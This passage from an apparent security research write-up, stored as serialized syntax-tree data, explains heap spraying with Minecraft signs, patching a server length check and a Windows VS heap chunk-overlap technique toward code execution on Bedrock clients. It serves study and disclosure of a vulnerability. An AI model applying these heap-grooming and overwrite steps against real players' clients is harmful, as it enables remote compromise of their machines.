signs",{"type":24,"tag":90,"props":153078,"children":153079},{"style":114},[153080],{"type":29,"value":226},{"type":24,"tag":90,"props":153082,"children":153083},{"style":108},[153084],{"type":29,"value":1884},{"type":24,"tag":90,"props":153086,"children":153087},{"style":114},[153088],{"type":29,"value":1640},{"type":24,"tag":90,"props":153090,"children":153091},{"class":92,"line":799},[153092,153097,153101],{"type":24,"tag":90,"props":153093,"children":153094},{"style":136},[153095],{"type":29,"value":153096}," sign:",{"type":24,"tag":90,"props":153098,"children":153099},{"style":136},[153100],{"type":29,"value":153018},{"type":24,"tag":90,"props":153102,"children":153103},{"style":114},[153104],{"type":29,"value":748},{"type":24,"tag":90,"props":153106,"children":153107},{"class":92,"line":807},[153108,153113,153117],{"type":24,"tag":90,"props":153109,"children":153110},{"style":136},[153111],{"type":29,"value":153112}," allocated:",{"type":24,"tag":90,"props":153114,"children":153115},{"style":97},[153116],{"type":29,"value":11431},{"type":24,"tag":90,"props":153118,"children":153119},{"style":114},[153120],{"type":29,"value":748},{"type":24,"tag":90,"props":153122,"children":153123},{"class":92,"line":821},[153124,153129,153133],{"type":24,"tag":90,"props":153125,"children":153126},{"style":136},[153127],{"type":29,"value":153128}," block:",{"type":24,"tag":90,"props":153130,"children":153131},{"style":136},[153132],{"type":29,"value":152869},{"type":24,"tag":90,"props":153134,"children":153135},{"style":114},[153136],{"type":29,"value":748},{"type":24,"tag":90,"props":153138,"children":153139},{"class":92,"line":6278},[153140,153145],{"type":24,"tag":90,"props":153141,"children":153142},{"style":136},[153143],{"type":29,"value":153144}," removed:",{"type":24,"tag":90,"props":153146,"children":153147},{"style":97},[153148],{"type":29,"value":14677},{"type":24,"tag":90,"props":153150,"children":153151},{"class":92,"line":11420},[153152],{"type":24,"tag":90,"props":153153,"children":153154},{"style":114},[153155],{"type":29,"value":153156}," });\n",{"type":24,"tag":90,"props":153158,"children":153159},{"class":92,"line":11438},[153160],{"type":24,"tag":90,"props":153161,"children":153162},{"style":114},[153163],{"type":29,"value":5740},{"type":24,"tag":90,"props":153165,"children":153166},{"class":92,"line":11483},[153167],{"type":24,"tag":90,"props":153168,"children":153169},{"style":114},[153170],{"type":29,"value":612},{"type":24,"tag":90,"props":153172,"children":153173},{"class":92,"line":11589},[153174],{"type":24,"tag":90,"props":153175,"children":153176},{"style":114},[153177],{"type":29,"value":827},{"type":24,"tag":90,"props":153179,"children":153180},{"class":92,"line":25306},[153181],{"type":24,"tag":90,"props":153182,"children":153183},{"emptyLinePlaceholder":16},[153184],{"type":29,"value":245},{"type":24,"tag":90,"props":153186,"children":153187},{"class":92,"line":25341},[153188,153192,153197],{"type":24,"tag":90,"props":153189,"children":153190},{"style":97},[153191],{"type":29,"value":33190},{"type":24,"tag":90,"props":153193,"children":153194},{"style":108},[153195],{"type":29,"value":153196}," remove_wall",{"type":24,"tag":90,"props":153198,"children":153199},{"style":114},[153200],{"type":29,"value":2245},{"type":24,"tag":90,"props":153202,"children":153203},{"class":92,"line":25349},[153204,153208,153212],{"type":24,"tag":90,"props":153205,"children":153206},{"style":136},[153207],{"type":29,"value":152685},{"type":24,"tag":90,"props":153209,"children":153210},{"style":120},[153211],{"type":29,"value":216},{"type":24,"tag":90,"props":153213,"children":153214},{"style":114},[153215],{"type":29,"value":152694},{"type":24,"tag":90,"props":153217,"children":153218},{"class":92,"line":25357},[153219],{"type":24,"tag":90,"props":153220,"children":153221},{"style":114},[153222],{"type":29,"value":63612},{"type":24,"tag":90,"props":153224,"children":153225},{"class":92,"line":25366},[153226,153230,153234,153238,153242,153246,153250,153254,153258,153262,153266,153270,153274,153278],{"type":24,"tag":90,"props":153227,"children":153228},{"style":636},[153229],{"type":29,"value":5434},{"type":24,"tag":90,"props":153231,"children":153232},{"style":114},[153233],{"type":29,"value":1151},{"type":24,"tag":90,"props":153235,"children":153236},{"style":97},[153237],{"type":29,"value":895},{"type":24,"tag":90,"props":153239,"children":153240},{"style":136},[153241],{"type":29,"value":152721},{"type":24,"tag":90,"props":153243,"children":153244},{"style":120},[153245],{"type":29,"value":216},{"type":24,"tag":90,"props":153247,"children":153248},{"style":349},[153249],{"type":29,"value":5448},{"type":24,"tag":90,"props":153251,"children":153252},{"style":114},[153253],{"type":29,"value":3748},{"type":24,"tag":90,"props":153255,"children":153256},{"style":136},[153257],{"type":29,"value":152738},{"type":24,"tag":90,"props":153259,"children":153260},{"style":120},[153261],{"type":29,"value":11095},{"type":24,"tag":90,"props":153263,"children":153264},{"style":136},[153265],{"type":29,"value":152747},{"type":24,"tag":90,"props":153267,"children":153268},{"style":114},[153269],{"type":29,"value":3748},{"type":24,"tag":90,"props":153271,"children":153272},{"style":136},[153273],{"type":29,"value":152738},{"type":24,"tag":90,"props":153275,"children":153276},{"style":120},[153277],{"type":29,"value":53093},{"type":24,"tag":90,"props":153279,"children":153280},{"style":114},[153281],{"type":29,"value":1297},{"type":24,"tag":90,"props":153283,"children":153284},{"class":92,"line":25408},[153285,153289,153293,153297,153301,153305,153309,153313,153317,153321,153325,153329,153333,153337],{"type":24,"tag":90,"props":153286,"children":153287},{"style":636},[153288],{"type":29,"value":62402},{"type":24,"tag":90,"props":153290,"children":153291},{"style":114},[153292],{"type":29,"value":1151},{"type":24,"tag":90,"props":153294,"children":153295},{"style":97},[153296],{"type":29,"value":895},{"type":24,"tag":90,"props":153298,"children":153299},{"style":136},[153300],{"type":29,"value":152783},{"type":24,"tag":90,"props":153302,"children":153303},{"style":120},[153304],{"type":29,"value":216},{"type":24,"tag":90,"props":153306,"children":153307},{"style":349},[153308],{"type":29,"value":5448},{"type":24,"tag":90,"props":153310,"children":153311},{"style":114},[153312],{"type":29,"value":3748},{"type":24,"tag":90,"props":153314,"children":153315},{"style":136},[153316],{"type":29,"value":152800},{"type":24,"tag":90,"props":153318,"children":153319},{"style":120},[153320],{"type":29,"value":11095},{"type":24,"tag":90,"props":153322,"children":153323},{"style":136},[153324],{"type":29,"value":152809},{"type":24,"tag":90,"props":153326,"children":153327},{"style":114},[153328],{"type":29,"value":3748},{"type":24,"tag":90,"props":153330,"children":153331},{"style":136},[153332],{"type":29,"value":152800},{"type":24,"tag":90,"props":153334,"children":153335},{"style":120},[153336],{"type":29,"value":53093},{"type":24,"tag":90,"props":153338,"children":153339},{"style":114},[153340],{"type":29,"value":1297},{"type":24,"tag":90,"props":153342,"children":153343},{"class":92,"line":25441},[153344],{"type":24,"tag":90,"props":153345,"children":153346},{"style":114},[153347],{"type":29,"value":152856},{"type":24,"tag":90,"props":153349,"children":153350},{"class":92,"line":25449},[153351,153355,153359],{"type":24,"tag":90,"props":153352,"children":153353},{"style":114},[153354],{"type":29,"value":152840},{"type":24,"tag":90,"props":153356,"children":153357},{"style":120},[153358],{"type":29,"value":3013},{"type":24,"tag":90,"props":153360,"children":153361},{"style":114},[153362],{"type":29,"value":14141},{"type":24,"tag":90,"props":153364,"children":153365},{"class":92,"line":25457},[153366],{"type":24,"tag":90,"props":153367,"children":153368},{"style":114},[153369],{"type":29,"value":153370}," \n",{"type":24,"tag":90,"props":153372,"children":153373},{"class":92,"line":25466},[153374,153378,153382,153386,153390,153395],{"type":24,"tag":90,"props":153375,"children":153376},{"style":97},[153377],{"type":29,"value":152864},{"type":24,"tag":90,"props":153379,"children":153380},{"style":136},[153381],{"type":29,"value":152869},{"type":24,"tag":90,"props":153383,"children":153384},{"style":120},[153385],{"type":29,"value":216},{"type":24,"tag":90,"props":153387,"children":153388},{"style":636},[153389],{"type":29,"value":38027},{"type":24,"tag":90,"props":153391,"children":153392},{"style":108},[153393],{"type":29,"value":153394}," wait_for_block",{"type":24,"tag":90,"props":153396,"children":153397},{"style":114},[153398],{"type":29,"value":680},{"type":24,"tag":90,"props":153400,"children":153401},{"class":92,"line":25542},[153402,153407,153411,153415,153419,153423],{"type":24,"tag":90,"props":153403,"children":153404},{"style":136},[153405],{"type":29,"value":153406}," world",{"type":24,"tag":90,"props":153408,"children":153409},{"style":114},[153410],{"type":29,"value":226},{"type":24,"tag":90,"props":153412,"children":153413},{"style":108},[153414],{"type":29,"value":152891},{"type":24,"tag":90,"props":153416,"children":153417},{"style":114},[153418],{"type":29,"value":117},{"type":24,"tag":90,"props":153420,"children":153421},{"style":1085},[153422],{"type":29,"value":152900},{"type":24,"tag":90,"props":153424,"children":153425},{"style":114},[153426],{"type":29,"value":779},{"type":24,"tag":90,"props":153428,"children":153429},{"class":92,"line":25575},[153430],{"type":24,"tag":90,"props":153431,"children":153432},{"style":136},[153433],{"type":29,"value":153434}," sign_location\n",{"type":24,"tag":90,"props":153436,"children":153437},{"class":92,"line":25583},[153438],{"type":24,"tag":90,"props":153439,"children":153440},{"style":114},[153441],{"type":29,"value":126944},{"type":24,"tag":90,"props":153443,"children":153444},{"class":92,"line":25591},[153445,153449,153453,153457],{"type":24,"tag":90,"props":153446,"children":153447},{"style":136},[153448],{"type":29,"value":152937},{"type":24,"tag":90,"props":153450,"children":153451},{"style":114},[153452],{"type":29,"value":226},{"type":24,"tag":90,"props":153454,"children":153455},{"style":108},[153456],{"type":29,"value":152544},{"type":24,"tag":90,"props":153458,"children":153459},{"style":114},[153460],{"type":29,"value":680},{"type":24,"tag":90,"props":153462,"children":153463},{"class":92,"line":25628},[153464,153468,153472,153476,153480,153484],{"type":24,"tag":90,"props":153465,"children":153466},{"style":136},[153467],{"type":29,"value":152957},{"type":24,"tag":90,"props":153469,"children":153470},{"style":114},[153471],{"type":29,"value":226},{"type":24,"tag":90,"props":153473,"children":153474},{"style":108},[153475],{"type":29,"value":152565},{"type":24,"tag":90,"props":153477,"children":153478},{"style":114},[153479],{"type":29,"value":117},{"type":24,"tag":90,"props":153481,"children":153482},{"style":1085},[153483],{"type":29,"value":152574},{"type":24,"tag":90,"props":153485,"children":153486},{"style":114},[153487],{"type":29,"value":1686},{"type":24,"tag":90,"props":153489,"children":153490},{"class":92,"line":25641},[153491],{"type":24,"tag":90,"props":153492,"children":153493},{"style":114},[153494],{"type":29,"value":126944},{"type":24,"tag":90,"props":153496,"children":153497},{"class":92,"line":25654},[153498],{"type":24,"tag":90,"props":153499,"children":153500},{"emptyLinePlaceholder":16},[153501],{"type":29,"value":245},{"type":24,"tag":90,"props":153503,"children":153504},{"class":92,"line":25667},[153505,153509,153513],{"type":24,"tag":90,"props":153506,"children":153507},{"style":114},[153508],{"type":29,"value":152840},{"type":24,"tag":90,"props":153510,"children":153511},{"style":120},[153512],{"type":29,"value":3013},{"type":24,"tag":90,"props":153514,"children":153515},{"style":114},[153516],{"type":29,"value":14141},{"type":24,"tag":90,"props":153518,"children":153519},{"class":92,"line":25721},[153520],{"type":24,"tag":90,"props":153521,"children":153522},{"style":114},[153523],{"type":29,"value":5740},{"type":24,"tag":90,"props":153525,"children":153526},{"class":92,"line":25730},[153527],{"type":24,"tag":90,"props":153528,"children":153529},{"style":114},[153530],{"type":29,"value":612},{"type":24,"tag":90,"props":153532,"children":153533},{"class":92,"line":34094},[153534],{"type":24,"tag":90,"props":153535,"children":153536},{"style":114},[153537],{"type":29,"value":827},{"type":24,"tag":90,"props":153539,"children":153540},{"class":92,"line":34115},[153541],{"type":24,"tag":90,"props":153542,"children":153543},{"emptyLinePlaceholder":16},[153544],{"type":29,"value":245},{"type":24,"tag":90,"props":153546,"children":153547},{"class":92,"line":82781},[153548,153553,153557,153562,153566,153571,153575,153580,153584,153589,153593,153597],{"type":24,"tag":90,"props":153549,"children":153550},{"style":136},[153551],{"type":29,"value":153552},"world",{"type":24,"tag":90,"props":153554,"children":153555},{"style":114},[153556],{"type":29,"value":226},{"type":24,"tag":90,"props":153558,"children":153559},{"style":136},[153560],{"type":29,"value":153561},"afterEvents",{"type":24,"tag":90,"props":153563,"children":153564},{"style":114},[153565],{"type":29,"value":226},{"type":24,"tag":90,"props":153567,"children":153568},{"style":136},[153569],{"type":29,"value":153570},"playerSpawn",{"type":24,"tag":90,"props":153572,"children":153573},{"style":114},[153574],{"type":29,"value":226},{"type":24,"tag":90,"props":153576,"children":153577},{"style":108},[153578],{"type":29,"value":153579},"subscribe",{"type":24,"tag":90,"props":153581,"children":153582},{"style":114},[153583],{"type":29,"value":33336},{"type":24,"tag":90,"props":153585,"children":153586},{"style":136},[153587],{"type":29,"value":153588},"arg",{"type":24,"tag":90,"props":153590,"children":153591},{"style":114},[153592],{"type":29,"value":172},{"type":24,"tag":90,"props":153594,"children":153595},{"style":97},[153596],{"type":29,"value":1315},{"type":24,"tag":90,"props":153598,"children":153599},{"style":114},[153600],{"type":29,"value":269},{"type":24,"tag":90,"props":153602,"children":153603},{"class":92,"line":82794},[153604,153609],{"type":24,"tag":90,"props":153605,"children":153606},{"style":108},[153607],{"type":29,"value":153608}," create_wall",{"type":24,"tag":90,"props":153610,"children":153611},{"style":114},[153612],{"type":29,"value":236},{"type":24,"tag":90,"props":153614,"children":153615},{"class":92,"line":82802},[153616],{"type":24,"tag":90,"props":153617,"children":153618},{"style":114},[153619],{"type":29,"value":37153},{"type":24,"tag":90,"props":153621,"children":153622},{"class":92,"line":82810},[153623],{"type":24,"tag":90,"props":153624,"children":153625},{"emptyLinePlaceholder":16},[153626],{"type":29,"value":245},{"type":24,"tag":90,"props":153628,"children":153629},{"class":92,"line":82818},[153630,153634,153638,153643,153647,153652,153656,153660,153664,153668,153672,153676,153680,153684],{"type":24,"tag":90,"props":153631,"children":153632},{"style":136},[153633],{"type":29,"value":153552},{"type":24,"tag":90,"props":153635,"children":153636},{"style":114},[153637],{"type":29,"value":226},{"type":24,"tag":90,"props":153639,"children":153640},{"style":136},[153641],{"type":29,"value":153642},"beforeEvents",{"type":24,"tag":90,"props":153644,"children":153645},{"style":114},[153646],{"type":29,"value":226},{"type":24,"tag":90,"props":153648,"children":153649},{"style":136},[153650],{"type":29,"value":153651},"playerLeave",{"type":24,"tag":90,"props":153653,"children":153654},{"style":114},[153655],{"type":29,"value":226},{"type":24,"tag":90,"props":153657,"children":153658},{"style":108},[153659],{"type":29,"value":153579},{"type":24,"tag":90,"props":153661,"children":153662},{"style":114},[153663],{"type":29,"value":117},{"type":24,"tag":90,"props":153665,"children":153666},{"style":97},[153667],{"type":29,"value":37961},{"type":24,"tag":90,"props":153669,"children":153670},{"style":114},[153671],{"type":29,"value":1151},{"type":24,"tag":90,"props":153673,"children":153674},{"style":136},[153675],{"type":29,"value":153588},{"type":24,"tag":90,"props":153677,"children":153678},{"style":114},[153679],{"type":29,"value":172},{"type":24,"tag":90,"props":153681,"children":153682},{"style":97},[153683],{"type":29,"value":1315},{"type":24,"tag":90,"props":153685,"children":153686},{"style":114},[153687],{"type":29,"value":269},{"type":24,"tag":90,"props":153689,"children":153690},{"class":92,"line":82858},[153691,153696],{"type":24,"tag":90,"props":153692,"children":153693},{"style":108},[153694],{"type":29,"value":153695}," remove_wall",{"type":24,"tag":90,"props":153697,"children":153698},{"style":114},[153699],{"type":29,"value":236},{"type":24,"tag":90,"props":153701,"children":153702},{"class":92,"line":82866},[153703],{"type":24,"tag":90,"props":153704,"children":153705},{"style":114},[153706],{"type":29,"value":37153},{"type":24,"tag":25,"props":153708,"children":153709},{},[153710],{"type":29,"value":153711},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":24,"tag":25,"props":153713,"children":153714},{},[153715],{"type":24,"tag":6301,"props":153716,"children":153719},{"alt":153717,"src":153718},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":24,"tag":25,"props":153721,"children":153722},{},[153723],{"type":29,"value":153724},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":24,"tag":20686,"props":153726,"children":153728},{"id":153727},"a-small-roadblock",[153729],{"type":29,"value":153730},"A Small Roadblock",{"type":24,"tag":25,"props":153732,"children":153733},{},[153734],{"type":29,"value":153735},"While testing our heap spray method, we encountered the following error:",{"type":24,"tag":80,"props":153737,"children":153739},{"code":153738},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[153740],{"type":24,"tag":32,"props":153741,"children":153742},{"__ignoreMap":7},[153743],{"type":29,"value":153738},{"type":24,"tag":25,"props":153745,"children":153746},{},[153747,153749,153755],{"type":29,"value":153748},"An error is thrown by the server executable while trying to assign text longer than ",{"type":24,"tag":32,"props":153750,"children":153752},{"className":153751},[],[153753],{"type":29,"value":153754},"512",{"type":29,"value":153756}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":24,"tag":25,"props":153758,"children":153759},{},[153760],{"type":29,"value":153761},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":24,"tag":25,"props":153763,"children":153764},{},[153765],{"type":29,"value":153766},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":24,"tag":25,"props":153768,"children":153769},{},[153770],{"type":24,"tag":6301,"props":153771,"children":153773},{"alt":52402,"src":153772},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":24,"tag":25,"props":153775,"children":153776},{},[153777,153779,153785],{"type":29,"value":153778},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":24,"tag":32,"props":153780,"children":153782},{"className":153781},[],[153783],{"type":29,"value":153784},"string_length \u003C= 512",{"type":29,"value":153786}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":24,"tag":25,"props":153788,"children":153789},{},[153790],{"type":29,"value":153791},"The disassembly of the comparison looks like this:",{"type":24,"tag":25,"props":153793,"children":153794},{},[153795],{"type":24,"tag":6301,"props":153796,"children":153798},{"alt":52402,"src":153797},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":24,"tag":25,"props":153800,"children":153801},{},[153802,153804,153809,153811,153816,153817,153822,153824,153830,153832,153838,153840,153845,153847,153852],{"type":29,"value":153803},"The code compares ",{"type":24,"tag":32,"props":153805,"children":153807},{"className":153806},[],[153808],{"type":29,"value":58599},{"type":29,"value":153810}," (the string length) to ",{"type":24,"tag":32,"props":153812,"children":153814},{"className":153813},[],[153815],{"type":29,"value":129644},{"type":29,"value":1151},{"type":24,"tag":32,"props":153818,"children":153820},{"className":153819},[],[153821],{"type":29,"value":153754},{"type":29,"value":153823}," decimal). It then performs a ",{"type":24,"tag":32,"props":153825,"children":153827},{"className":153826},[],[153828],{"type":29,"value":153829},"jbe",{"type":29,"value":153831},", jumping to address ",{"type":24,"tag":32,"props":153833,"children":153835},{"className":153834},[],[153836],{"type":29,"value":153837},"0x14275114c",{"type":29,"value":153839}," if ",{"type":24,"tag":32,"props":153841,"children":153843},{"className":153842},[],[153844],{"type":29,"value":58599},{"type":29,"value":153846}," is less than or equal to ",{"type":24,"tag":32,"props":153848,"children":153850},{"className":153849},[],[153851],{"type":29,"value":153754},{"type":29,"value":153853},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":24,"tag":25,"props":153855,"children":153856},{},[153857,153859,153864,153866,153872],{"type":29,"value":153858},"To force execution down this path, we patched the ",{"type":24,"tag":32,"props":153860,"children":153862},{"className":153861},[],[153863],{"type":29,"value":153829},{"type":29,"value":153865}," instruction to an unconditional ",{"type":24,"tag":32,"props":153867,"children":153869},{"className":153868},[],[153870],{"type":29,"value":153871},"jmp",{"type":29,"value":153873},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":24,"tag":25,"props":153875,"children":153876},{},[153877],{"type":24,"tag":6301,"props":153878,"children":153880},{"alt":52402,"src":153879},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":24,"tag":25,"props":153882,"children":153883},{},[153884,153886,153891,153893,153898],{"type":29,"value":153885},"After patching the server and calling ",{"type":24,"tag":32,"props":153887,"children":153889},{"className":153888},[],[153890],{"type":29,"value":151995},{"type":29,"value":153892}," with a size of ",{"type":24,"tag":32,"props":153894,"children":153896},{"className":153895},[],[153897],{"type":29,"value":59973},{"type":29,"value":153899},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":24,"tag":25,"props":153901,"children":153902},{},[153903],{"type":24,"tag":6301,"props":153904,"children":153906},{"alt":52402,"src":153905},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":24,"tag":20586,"props":153908,"children":153909},{},[],{"type":24,"tag":25,"props":153911,"children":153912},{},[153913],{"type":29,"value":153914},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":24,"tag":25,"props":153916,"children":153917},{},[153918],{"type":29,"value":153919},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":24,"tag":1019,"props":153921,"children":153923},{"id":153922},"overlapping-heap-chunks",[153924],{"type":29,"value":153925},"Overlapping Heap Chunks",{"type":24,"tag":25,"props":153927,"children":153928},{},[153929,153931,153936],{"type":29,"value":153930},"The attack is described in detail in the referenced blog post (",{"type":24,"tag":69,"props":153932,"children":153934},{"href":151739,"rel":153933},[73],[153935],{"type":29,"value":49407},{"type":29,"value":153937},"), so we will present a high-level overview.",{"type":24,"tag":25,"props":153939,"children":153940},{},[153941,153943,153949],{"type":29,"value":153942},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":24,"tag":32,"props":153944,"children":153946},{"className":153945},[],[153947],{"type":29,"value":153948},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":153950}," structure layout is required:",{"type":24,"tag":80,"props":153952,"children":153954},{"code":153953}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[153955],{"type":24,"tag":32,"props":153956,"children":153957},{"__ignoreMap":7},[153958],{"type":29,"value":153953},{"type":24,"tag":25,"props":153960,"children":153961},{},[153962,153964,153970,153972,153978,153979,153985,153986,153992,153994,153999,154001,154006,154008,154014,154016,154021,154023,154029],{"type":29,"value":153963},"At offset 0 there is a header ",{"type":24,"tag":32,"props":153965,"children":153967},{"className":153966},[],[153968],{"type":29,"value":153969},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":153971}," containing fields such as ",{"type":24,"tag":32,"props":153973,"children":153975},{"className":153974},[],[153976],{"type":29,"value":153977},"MemoryCost",{"type":29,"value":133},{"type":24,"tag":32,"props":153980,"children":153982},{"className":153981},[],[153983],{"type":29,"value":153984},"UnsafeSize",{"type":29,"value":133},{"type":24,"tag":32,"props":153987,"children":153989},{"className":153988},[],[153990],{"type":29,"value":153991},"UnsafePrevSize",{"type":29,"value":153993},", etc. For the attack we only care about the ",{"type":24,"tag":32,"props":153995,"children":153997},{"className":153996},[],[153998],{"type":29,"value":153984},{"type":29,"value":154000}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":24,"tag":32,"props":154002,"children":154004},{"className":154003},[],[154005],{"type":29,"value":128267},{"type":29,"value":154007},", so for a chunk of size ",{"type":24,"tag":32,"props":154009,"children":154011},{"className":154010},[],[154012],{"type":29,"value":154013},"0x4010",{"type":29,"value":154015}," the value of ",{"type":24,"tag":32,"props":154017,"children":154019},{"className":154018},[],[154020],{"type":29,"value":153984},{"type":29,"value":154022}," would be ",{"type":24,"tag":32,"props":154024,"children":154026},{"className":154025},[],[154027],{"type":29,"value":154028},"0x401",{"type":29,"value":226},{"type":24,"tag":25,"props":154031,"children":154032},{},[154033,154034,154039],{"type":29,"value":66043},{"type":24,"tag":32,"props":154035,"children":154037},{"className":154036},[],[154038],{"type":29,"value":153984},{"type":29,"value":154040}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":24,"tag":25,"props":154042,"children":154043},{},[154044,154046,154051,154053,154058,154060,154066,154068,154073],{"type":29,"value":154045},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":24,"tag":32,"props":154047,"children":154049},{"className":154048},[],[154050],{"type":29,"value":153984},{"type":29,"value":154052}," in the smallest possible VS chunk (",{"type":24,"tag":32,"props":154054,"children":154056},{"className":154055},[],[154057],{"type":29,"value":154013},{"type":29,"value":154059},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":24,"tag":32,"props":154061,"children":154063},{"className":154062},[],[154064],{"type":29,"value":154065},"[0x10, 0xffff0]",{"type":29,"value":154067}," range, the probability that it exceeds ",{"type":24,"tag":32,"props":154069,"children":154071},{"className":154070},[],[154072],{"type":29,"value":154013},{"type":29,"value":154074}," is:",{"type":24,"tag":80,"props":154076,"children":154078},{"code":154077},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[154079],{"type":24,"tag":32,"props":154080,"children":154081},{"__ignoreMap":7},[154082],{"type":29,"value":154077},{"type":24,"tag":25,"props":154084,"children":154085},{},[154086],{"type":29,"value":154087},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":24,"tag":25,"props":154089,"children":154090},{},[154091],{"type":29,"value":154092},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":24,"tag":20686,"props":154094,"children":154096},{"id":154095},"overlap-attack-overview",[154097],{"type":29,"value":154098},"Overlap Attack Overview",{"type":24,"tag":25,"props":154100,"children":154101},{},[154102,154104,154109],{"type":29,"value":154103},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":24,"tag":32,"props":154105,"children":154107},{"className":154106},[],[154108],{"type":29,"value":128290},{"type":29,"value":154110}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":24,"tag":25,"props":154112,"children":154113},{},[154114,154116,154121,154123,154128],{"type":29,"value":154115},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":24,"tag":32,"props":154117,"children":154119},{"className":154118},[],[154120],{"type":29,"value":149998},{"type":29,"value":154122},"-sized chunks in the free list that we want to avoid. If a ",{"type":24,"tag":32,"props":154124,"children":154126},{"className":154125},[],[154127],{"type":29,"value":149998},{"type":29,"value":154129},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":24,"tag":25,"props":154131,"children":154132},{},[154133,154135,154140],{"type":29,"value":154134},"To remove those ",{"type":24,"tag":32,"props":154136,"children":154138},{"className":154137},[],[154139],{"type":29,"value":149998},{"type":29,"value":154141},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":24,"tag":25,"props":154143,"children":154144},{},[154145],{"type":29,"value":154146},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":24,"tag":80,"props":154148,"children":154150},{"code":154149},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[154151],{"type":24,"tag":32,"props":154152,"children":154153},{"__ignoreMap":7},[154154],{"type":29,"value":154149},{"type":24,"tag":25,"props":154156,"children":154157},{},[154158,154160,154165,154167,154172],{"type":29,"value":154159},"Next we create ",{"type":24,"tag":842,"props":154161,"children":154162},{},[154163],{"type":29,"value":154164},"holes",{"type":29,"value":154166}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":24,"tag":32,"props":154168,"children":154170},{"className":154169},[],[154171],{"type":29,"value":149998},{"type":29,"value":154173},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":24,"tag":80,"props":154175,"children":154177},{"code":154176}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[154178],{"type":24,"tag":32,"props":154179,"children":154180},{"__ignoreMap":7},[154181],{"type":29,"value":154176},{"type":24,"tag":25,"props":154183,"children":154184},{},[154185,154187,154192,154194,154199],{"type":29,"value":154186},"When a ",{"type":24,"tag":32,"props":154188,"children":154190},{"className":154189},[],[154191],{"type":29,"value":149998},{"type":29,"value":154193}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":24,"tag":32,"props":154195,"children":154197},{"className":154196},[],[154198],{"type":29,"value":153984},{"type":29,"value":154200}," field will be overwritten:",{"type":24,"tag":80,"props":154202,"children":154204},{"code":154203}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[154205],{"type":24,"tag":32,"props":154206,"children":154207},{"__ignoreMap":7},[154208],{"type":29,"value":154203},{"type":24,"tag":25,"props":154210,"children":154211},{},[154212,154214,154219,154221,154226,154228,154233],{"type":29,"value":154213},"Once ",{"type":24,"tag":32,"props":154215,"children":154217},{"className":154216},[],[154218],{"type":29,"value":153984},{"type":29,"value":154220}," has been overwritten, ",{"type":24,"tag":32,"props":154222,"children":154224},{"className":154223},[],[154225],{"type":29,"value":149998},{"type":29,"value":154227}," allocation is freed immediately after, restoring the previous layout but with 